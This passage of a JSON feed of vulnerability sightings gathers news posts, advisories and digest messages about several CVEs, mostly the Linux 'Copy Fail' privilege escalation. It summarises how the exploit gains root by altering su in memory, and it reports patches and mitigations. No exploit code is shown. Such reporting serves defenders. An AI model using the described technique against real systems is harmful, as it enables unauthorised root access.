\u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u0430\u044f \u043d\u0430 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u0432 \u041f\u041e, \u043f\u0440\u0438\u0432\u0435\u043b\u0430 \u043a \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u0431\u043e\u043b\u0435\u0435 300 \u0440\u0435\u043b\u0438\u0437\u043e\u0432. \u0412 \u0430\u0442\u0430\u043a\u0435 \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u043b\u0441\u044f \u043d\u0435\u043e\u0431\u044b\u0447\u043d\u044b\u0439 \u0441\u043f\u043e\u0441\u043e\u0431 \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u044f \u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445.", "creation_timestamp": "2026-09-10T00:00:56.279820Z"}, {"uuid": "cc0120f8-0d4d-48c9-9030-c6e2f56aae39", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "https://t.me/kasperskylab_ru/7324", "content": "\u2757\ufe0f CopyFail \u0443\u0433\u0440\u043e\u0436\u0430\u0435\u0442 \u0432\u0441\u0435\u043c \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u043c \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u0430\u043c \u041e\u0421 Linux\n\n\u041e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u0430\u044f \u0432\u0447\u0435\u0440\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-31431 (\u043e\u043d\u0430 \u0436\u0435 \u2014 CopyFail) \u0436\u0438\u0432\u0451\u0442 \u0432 \u043a\u043e\u0434\u0435 \u0441 2017 \u0433\u043e\u0434\u0430 \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u043c \u043d\u0435\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u041e\u0421.\n\n\ud83d\udd3b\u041a\u0430\u043a \u044d\u0442\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442\n\u0412\u0441\u0451, \u0447\u0442\u043e \u043d\u0443\u0436\u043d\u043e \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u043c\u0443 \u2014 Python-\u0441\u043a\u0440\u0438\u043f\u0442 \u0440\u0430\u0437\u043c\u0435\u0440\u043e\u043c 732 \u0431\u0430\u0439\u0442\u0430. \u042d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u043e\u0448\u0438\u0431\u043a\u0443 \u0432 \u043a\u0440\u0438\u043f\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u043e\u043c \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 \u044f\u0434\u0440\u0430 (authencesn), \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0432\u0441\u0435\u0433\u043e 4 \u0431\u0430\u0439\u0442\u0430 \u0432 \u043a\u0435\u0448 \u043b\u044e\u0431\u043e\u0433\u043e \u0447\u0438\u0442\u0430\u0435\u043c\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430.\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043c\u043e\u0434\u0438\u0444\u0438\u0446\u0438\u0440\u0443\u0435\u0442 \u0432 \u043f\u0430\u043c\u044f\u0442\u0438 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u0443\u044e \u0443\u0442\u0438\u043b\u0438\u0442\u0443 su (\u0441\u043c\u0435\u043d\u044b \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f) \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u0443\u044e \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0443 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u0441\u0443\u043f\u0435\u0440\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f.\n\n\u041d\u0430\u0448\u0438 \u044d\u043a\u0441\u043f\u0435\u0440\u0442\u044b \u0437\u0430\u0432\u0435\u0440\u0448\u0430\u044e\u0442 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0443 \u0443\u043d\u0438\u0432\u0435\u0440\u0441\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043c\u0435\u0442\u043e\u0434\u0430 \u0434\u0435\u0442\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0430\u0442\u0430\u043a, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CopyFail.\n\n\ud83d\udd3b\u041a\u0442\u043e \u0432 \u0437\u043e\u043d\u0435 \u0440\u0438\u0441\u043a\u0430\n\u0411\u043e\u043b\u044c\u0448\u0435 \u0432\u0441\u0435\u0433\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u0433\u0440\u043e\u0436\u0430\u0435\u0442 \u0441\u0440\u0435\u0434\u0430\u043c \u0441 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u043c\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c\u0438:\n\ud83d\udd34\u043e\u0431\u0449\u0438\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u044b \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438;\n\ud83d\udd34\u0443\u0437\u043b\u044b Kubernetes;\n\ud83d\udd34\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f-\u0430\u0433\u0435\u043d\u0442\u044b \u0434\u043b\u044f CI/CD-\u0437\u0430\u0434\u0430\u0447 (CI-\u0440\u0430\u043d\u043d\u0435\u0440\u044b), \u0432 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u043d\u0435\u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u0434 \u0438\u0437 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u043d\u0430 \u0432\u044b\u0442\u044f\u0433\u0438\u0432\u0430\u043d\u0438\u0435 (pull request);\n\ud83d\udd34\u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u044b \u0438 \u0430\u0433\u0435\u043d\u0442\u044b, \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u044e\u0449\u0438\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0435 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u044b.\n\n\u25b6\ufe0f\u041a\u0430\u043a \u0437\u0430\u0449\u0438\u0442\u0438\u0442\u044c\u0441\u044f\n\ud83d\udfe2\u041e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f. \u041f\u0430\u0442\u0447 \u0432\u044b\u0448\u0435\u043b \u2014 \u044d\u0442\u043e \u043a\u043e\u043c\u043c\u0438\u0442 a664bf3d603d. \u0411\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u043e\u0432 \u0443\u0436\u0435 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u044f\u044e\u0442 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435. \n\ud83d\udfe2\u0414\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u043f\u0430\u0442\u0447\u0430 \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u043c\u0435\u0440\u0430 \u0437\u0430\u0449\u0438\u0442\u044b \u2014 \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u043c\u043e\u0434\u0443\u043b\u044c \u044f\u0434\u0440\u0430 algif_aead.\n\ud83d\udfe2\u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0430\u0442\u0430\u043a\u0438 \u0447\u0435\u0440\u0435\u0437 \u043f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u044b\u0439 PoC, \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0439 \u043d\u0430 Python, \u0434\u0435\u0442\u0435\u043a\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f Kaspersky Endpoint Detection and Response Expert.\n\n\u041f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u2014 \u0432 \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u0435 \u043d\u0430 Securelist.\n\n\ud83d\udc99 Kaspersky \u0432 \u0412\u041a\n\ud83d\udcac Kaspersky \u0432 Max\n\ud83d\udcac \u041f\u043e\u0440\u0432\u0430\u043b\u0438 \u0434\u0432\u0430 \u0442\u0440\u043e\u044f\u043d\u0430 \u0432 Max", "creation_timestamp": "2026-09-10T00:00:56.325929Z"}, {"uuid": "cbf28a93-d638-44a4-aa06-e511f1c589ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3120", "type": "seen", "source": "https://t.me/shimiscyberworld/1197", "content": "\ud83d\udee1\ufe0f SCW \u2502 Daily Vulnerability Digest\n\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\n\ud83d\udcc5 2026-05-04\n\n\ud83d\udcca 31 vulnerabilities detected today \u2014 20 \ud83d\udd34 Critical, 11 \ud83d\udd34 High\n\n\ud83d\udd34 CRITICAL\n  \u2022 CVE-2026-42809 (9.9) \u2014 CVE-2026-42809: Apache Polaris Critical Credential\u2026\n  \u2022 CVE-2026-42810 (9.9) \u2014 CVE-2026-42810: Apache Polaris S3 Wildcard Vulnerability\u2026\n  \u2022 CVE-2026-42811 (9.9) \u2014 CVE-2026-42811: Apache Polaris Credential Bypass Exposes\u2026\n  \u2022 CVE-2026-42812 (9.9) \u2014 Apache Iceberg CVE-2026-42812 Bypasses Metadata Location\u2026\n  \u2022 CVE-2026-24118 (9.8) \u2014 VM2 Sandbox Breakout Vulnerability: Critical Flaw Exposes\u2026\n  \u2022 CVE-2026-24120 (9.8) \u2014 CVE-2026-24120: vm2 Sandbox Escape Allows Host Command\u2026\n  \u2022 CVE-2026-24781 (9.8) \u2014 VM2 Sandbox Escape Vulnerability (CVE-2026-24781) Exposes\u2026\n  \u2022 CVE-2026-26332 (9.8) \u2014 vm2 Sandbox Escape (CVE-2026-26332) Exposes Node.js Apps to\u2026\n  \u2026 and 12 more\n\n\ud83d\udd34 HIGH\n  \u2022 CVE-2025-58074 (8.8) \u2014 Norton Secure VPN Privilege Escalation via Microsoft Store\u2026\n  \u2022 CVE-2026-6266 (8.3) \u2014 CVE-2026-6266: AAP Gateway Email Auto-Link Flaw Allows\u2026\n  \u2022 CVE-2026-29004 (8.1) \u2014 BusyBox udhcpc6 Heap Overflow (CVE-2026-29004) Exposes\u2026\n  \u2022 CVE-2026-42084 (8.1) \u2014 CVE-2026-42084: OpenC3 COSMOS Allows Password Change\u2026\n  \u2022 CVE-2026-32834 (7.5) \u2014 CVE-2026-32834: WordPress Easy PayPal Plugin Authentication\u2026\n  \u2022 CVE-2026-41471 (7.5) \u2014 CVE-2026-41471: PayPal Events WordPress Plugin Exposes All\u2026\n  \u2022 CVE-2026-25863 (7.5) \u2014 CVE-2026-25863: WordPress Plugin DoS Vulnerability Hits\u2026\n  \u2022 CVE-2026-42151 (7.5) \u2014 Prometheus Azure AD OAuth Secret Exposed via Plaintext\u2026\n  \u2022 CVE-2026-42154 (7.5) \u2014 Prometheus CVE-2026-42154: Unauthenticated Memory\u2026\n  \u2022 CVE-2026-3120 (7.2) \u2014 SambaBox CVE-2026-3120: High-Severity OS Command Injection\n  \u2026 and 1 more\n\n\ud83d\udcd6 View all vulnerabilities \u2192\n\n\ud83c\udfaf Need SIEM rules for these threats?\nGenerate detection rules for Splunk, Sentinel, QRadar & more \u2014 tailored per breach\nOpen /detect in Intel Bot \u2192\n\n\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\n\ud83c\udf10 @shimiscyberworld \u00b7 shimiscyberworld.com", "creation_timestamp": "2026-09-12T10:00:17.406479Z"}, {"uuid": "f7c0bc00-2060-420b-8404-2f0ac7592b5e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3120", "type": "seen", "source": "https://t.me/shimiscyberworld/1197", "content": "\ud83d\udee1\ufe0f SCW \u2502 Daily Vulnerability Digest\n\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\n\ud83d\udcc5 2026-05-04\n\n\ud83d\udcca 31 vulnerabilities detected today \u2014 20 \ud83d\udd34 Critical, 11 \ud83d\udd34 High\n\n\ud83d\udd34 CRITICAL\n  \u2022 CVE-2026-42809 (9.9) \u2014 CVE-2026-42809: Apache Polaris Critical Credential\u2026\n  \u2022 CVE-2026-42810 (9.9) \u2014 CVE-2026-42810: Apache Polaris S3 Wildcard Vulnerability\u2026\n  \u2022 CVE-2026-42811 (9.9) \u2014 CVE-2026-42811: Apache Polaris Credential Bypass Exposes\u2026\n  \u2022 CVE-2026-42812 (9.9) \u2014 Apache Iceberg CVE-2026-42812 Bypasses Metadata Location\u2026\n  \u2022 CVE-2026-24118 (9.8) \u2014 VM2 Sandbox Breakout Vulnerability: Critical Flaw Exposes\u2026\n  \u2022 CVE-2026-24120 (9.8) \u2014 CVE-2026-24120: vm2 Sandbox Escape Allows Host Command\u2026\n  \u2022 CVE-2026-24781 (9.8) \u2014 VM2 Sandbox Escape Vulnerability (CVE-2026-24781) Exposes\u2026\n  \u2022 CVE-2026-26332 (9.8) \u2014 vm2 Sandbox Escape (CVE-2026-26332) Exposes Node.js Apps to\u2026\n  \u2026 and 12 more\n\n\ud83d\udd34 HIGH\n  \u2022 CVE-2025-58074 (8.8) \u2014 Norton Secure VPN Privilege Escalation via Microsoft Store\u2026\n  \u2022 CVE-2026-6266 (8.3) \u2014 CVE-2026-6266: AAP Gateway Email Auto-Link Flaw Allows\u2026\n  \u2022 CVE-2026-29004 (8.1) \u2014 BusyBox udhcpc6 Heap Overflow (CVE-2026-29004) Exposes\u2026\n  \u2022 CVE-2026-42084 (8.1) \u2014 CVE-2026-42084: OpenC3 COSMOS Allows Password Change\u2026\n  \u2022 CVE-2026-32834 (7.5) \u2014 CVE-2026-32834: WordPress Easy PayPal Plugin Authentication\u2026\n  \u2022 CVE-2026-41471 (7.5) \u2014 CVE-2026-41471: PayPal Events WordPress Plugin Exposes All\u2026\n  \u2022 CVE-2026-25863 (7.5) \u2014 CVE-2026-25863: WordPress Plugin DoS Vulnerability Hits\u2026\n  \u2022 CVE-2026-42151 (7.5) \u2014 Prometheus Azure AD OAuth Secret Exposed via Plaintext\u2026\n  \u2022 CVE-2026-42154 (7.5) \u2014 Prometheus CVE-2026-42154: Unauthenticated Memory\u2026\n  \u2022 CVE-2026-3120 (7.2) \u2014 SambaBox CVE-2026-3120: High-Severity OS Command Injection\n  \u2026 and 1 more\n\n\ud83d\udcd6 View all vulnerabilities \u2192\n\n\ud83c\udfaf Need SIEM rules for these threats?\nGenerate detection rules for Splunk, Sentinel, QRadar & more \u2014 tailored per breach\nOpen /detect in Intel Bot \u2192\n\n\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\n\ud83c\udf10 @shimiscyberworld \u00b7 shimiscyberworld.com", "creation_timestamp": "2026-09-13T00:00:10.497300Z"}, {"uuid": "bfe9a385-6077-4345-a7c6-839eee22f3c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31278", "type": "seen", "source": "https://bsky.app/profile/suriq.io/post/3mvgz52x52h2j", "content": "Suprema BioStar 2 door-access software leaks its Active Directory service-account password in cleartext (CVE-2026-31278).\n\nAny operator login can read it. Patch to 2.9.12 / BioStar X 1.0.2 and rotate the account now.", "creation_timestamp": "2026-09-14T01:58:44.342813Z"}, {"uuid": "a5f291aa-eb29-4014-8a28-04c0901b7315", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31278", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mvh4l6yttr2k", "content": "\ud83d\udfe0 CVE-2026-31278 - High (7.7)\n\nAn issue in the /api/v2/setting/adserversetting endpoint of Suprema BioStar 2 before 2.9.12 and a...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-31278/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-09-14T03:00:19.862841Z"}, {"uuid": "48d1e12d-306a-4f66-81e1-a260bcf9c77d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31278", "type": "seen", "source": "https://bsky.app/profile/0daynews.bsky.social/post/3mvjlea73xi2n", "content": "Suprema BioStar 2 <2.9.12: unauthenticated API exposes Active Directory service credentials. Patch and rotate the\u2026 https://0daynews.com/articles/2026-09-14-suprema-biostar2-ad-credentials-cve-2026-31278/?utm_source=bluesky&utm_medium=organic_social&utm_campaign=always_on&utm_content=hub-2026", "creation_timestamp": "2026-09-15T02:30:11.392058Z"}, {"uuid": "c63091af-94a3-4c58-9163-81d474b922c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3143", "type": "seen", "source": "https://bsky.app/profile/lbtoday1.bsky.social/post/3mvpfhplvu52s", "content": "Hackers have reportedly exploited the Isabella framework, a popular open-source library used in web applications, to launch attacks on vulnerable systems. According to a report by The Hacker News, the vulnerability, tracked as CVE-2026-3143, affects Isabella versions prior to 1.12.0.", "creation_timestamp": "2026-09-17T10:00:44.460650Z"}, {"uuid": "eea59795-cad3-421c-9a9e-79eb0cf717eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/PLkGA2-WRKbMNSzblaRtTzMSbhZN_fUTM7KCRWp8gyLM2XI", "content": "", "creation_timestamp": "2026-09-18T04:00:09.240799Z"}, {"uuid": "218b0e1d-8bae-436a-bd8c-54e659696d4e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/VulnerabilityNews/42253", "content": "New Linux 'Copy Fail' Vulnerability Enables Root Access on Major Distributions\n\nCybersecurity researchers have disclosed details of a Linux local privilege escalation (LPE) flaw that could allow an unprivileged local user to obtain root.\nThe high-severity vulnerability tracked as CVE-2026-31431 (CVSS score: 7.8) has been codenamed Copy Fail by Xint.io and Theori.\n\"An unprivileged local user can write four controlled bytes into the page cache of any readable file on a Linux\nhttps://thehackernews.com/2026/04/new-linux-copy-fail-vulnerability.html", "creation_timestamp": "2026-09-18T05:00:07.396714Z"}, {"uuid": "fa620eed-ebc5-44e6-9ee3-a67d62e07020", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/VulnerabilityNews/42278", "content": "CISA Adds One Known Exploited Vulnerability to Catalog\n\nCISA has added one new vulnerability to its Known Exploited Vulnerabilities (KEV) Catalog, based on evidence of active exploitation.\nCVE-2026-31431 Linux Kernel Incorrect Resource Transfer Between Spheres Vulnerability\nThis type of vulnerability is a frequent attack vector for malicious cyber actors and poses significant risks to the federal enterprise.\nBinding Operational Directive (BOD) 22-01: Reducing the Significant Risk of Known Exploited Vulnerabilities established the KEV Catalog as a living list of known Common Vulnerabilities and Exposures (CVEs) that carry significant risk to the federal enterprise. BOD 22-01 requires Federal Civilian Executive Branch (FCEB) agencies to remediate identified vulnerabilities by the due date to protect FCEB networks against active threats. See the BOD 22-01 Fact Sheet for more information.\nAlthough BOD 22-01 only applies to FCEB agencies, CISA strongly urges all organizations to reduce their exposure to cyberattacks by prioritizing timely remediation of KEV Catalog vulnerabilities as part of their vulnerability management practice. CISA will continue to add vulnerabilities to the catalog that meet the specified criteria.\nhttps://www.cisa.gov/news-events/alerts/2026/05/01/cisa-adds-one-known-exploited-vulnerability-catalog", "creation_timestamp": "2026-09-18T05:00:07.440710Z"}, {"uuid": "b8d44677-e057-4465-a87d-3e12c0fea5f2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/VulnerabilityNews/42287", "content": "CVE-2026-31431: Copy Fail vulnerability enables Linux root privilege escalation across cloud environments\n\nA high-severity Linux vulnerability, \u201cCopy Fail\u201d (CVE-2026-31431), enables root privilege escalation across cloud environments and Kubernetes workloads. With a working exploit already in the wild, organizations should act quickly to detect, mitigate, and reduce risk.\nThe post CVE-2026-31431: Copy Fail vulnerability enables Linux root privilege escalation across cloud environments appeared first on Microsoft Security Blog.\nhttps://www.microsoft.com/en-us/security/blog/2026/05/01/cve-2026-31431-copy-fail-vulnerability-enables-linux-root-privilege-escalation/", "creation_timestamp": "2026-09-18T05:00:07.533732Z"}, {"uuid": "344958e1-6890-4551-90d2-18103b122b25", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/VulnerabilityNews/42294", "content": "CISA Adds Actively Exploited Linux Root Access Bug CVE-2026-31431 to KEV\n\nThe U.S. Cybersecurity and Infrastructure Security Agency (CISA) on Friday added a recently disclosed security flaw impacting various Linux distributions to its Known Exploited Vulnerabilities (KEV) catalog, citing evidence of active exploitation in the wild.\nThe vulnerability, tracked as CVE-2026-31431 (CVSS score: 7.8), is a case of local privilege escalation (LPE) flaw that could allow an\nhttps://thehackernews.com/2026/05/cisa-adds-actively-exploited-linux-root.html", "creation_timestamp": "2026-09-18T05:00:07.612199Z"}, {"uuid": "ea438df0-94de-44e5-ae0f-0e910b3ecbde", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/102667", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a copyfail\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Minime794\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-18 10:46:42\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCopy-Fail-Exploit-CVE-2026-31431\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-09-18T15:00:06.379162Z"}, {"uuid": "8391f38b-1cc3-48a1-85fc-9b7e63ad3919", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "exploited", "source": "https://t.me/VulnerabilityNews/42278", "content": "CISA Adds One Known Exploited Vulnerability to Catalog\n\nCISA has added one new vulnerability to its Known Exploited Vulnerabilities (KEV) Catalog, based on evidence of active exploitation.\nCVE-2026-31431 Linux Kernel Incorrect Resource Transfer Between Spheres Vulnerability\nThis type of vulnerability is a frequent attack vector for malicious cyber actors and poses significant risks to the federal enterprise.\nBinding Operational Directive (BOD) 22-01: Reducing the Significant Risk of Known Exploited Vulnerabilities established the KEV Catalog as a living list of known Common Vulnerabilities and Exposures (CVEs) that carry significant risk to the federal enterprise. BOD 22-01 requires Federal Civilian Executive Branch (FCEB) agencies to remediate identified vulnerabilities by the due date to protect FCEB networks against active threats. See the BOD 22-01 Fact Sheet for more information.\nAlthough BOD 22-01 only applies to FCEB agencies, CISA strongly urges all organizations to reduce their exposure to cyberattacks by prioritizing timely remediation of KEV Catalog vulnerabilities as part of their vulnerability management practice. CISA will continue to add vulnerabilities to the catalog that meet the specified criteria.\nhttps://www.cisa.gov/news-events/alerts/2026/05/01/cisa-adds-one-known-exploited-vulnerability-catalog", "creation_timestamp": "2026-09-19T00:00:40.908050Z"}, {"uuid": "df1d6504-fd2f-48d6-a751-352f297fc737", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/VulnerabilityNews/42253", "content": "New Linux 'Copy Fail' Vulnerability Enables Root Access on Major Distributions\n\nCybersecurity researchers have disclosed details of a Linux local privilege escalation (LPE) flaw that could allow an unprivileged local user to obtain root.\nThe high-severity vulnerability tracked as CVE-2026-31431 (CVSS score: 7.8) has been codenamed Copy Fail by Xint.io and Theori.\n\"An unprivileged local user can write four controlled bytes into the page cache of any readable file on a Linux\nhttps://thehackernews.com/2026/04/new-linux-copy-fail-vulnerability.html", "creation_timestamp": "2026-09-19T00:00:40.957501Z"}, {"uuid": "79bbc226-2bd5-49e0-92fe-d7f00b6b56f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/102667", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a copyfail\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Minime794\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-18 10:46:42\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCopy-Fail-Exploit-CVE-2026-31431\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-09-19T00:00:27.148624Z"}, {"uuid": "03c91254-a894-4807-8d59-ddfcca9ccfe9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": 